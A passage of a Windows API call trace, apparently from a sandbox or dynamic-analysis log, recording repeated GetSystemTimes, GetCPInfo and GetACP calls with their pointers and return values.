lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.031] GetACP () returned 0x4e4 [0051.031] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.032] GetACP () returned 0x4e4 [0051.032] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.032] GetACP () returned 0x4e4 [0051.032] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.032] GetACP () returned 0x4e4 [0051.032] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.032] GetACP () returned 0x4e4 [0051.032] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.032] GetACP () returned 0x4e4 [0051.032] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.032] GetACP () returned 0x4e4 [0051.032] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.033] GetACP () returned 0x4e4 [0051.033] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.034] GetACP () returned 0x4e4 [0051.034] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.035] GetACP () returned 0x4e4 [0051.035] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.036] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.036] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.037] GetACP () returned 0x4e4 [0051.037] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.038] GetACP () returned 0x4e4 [0051.038] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, 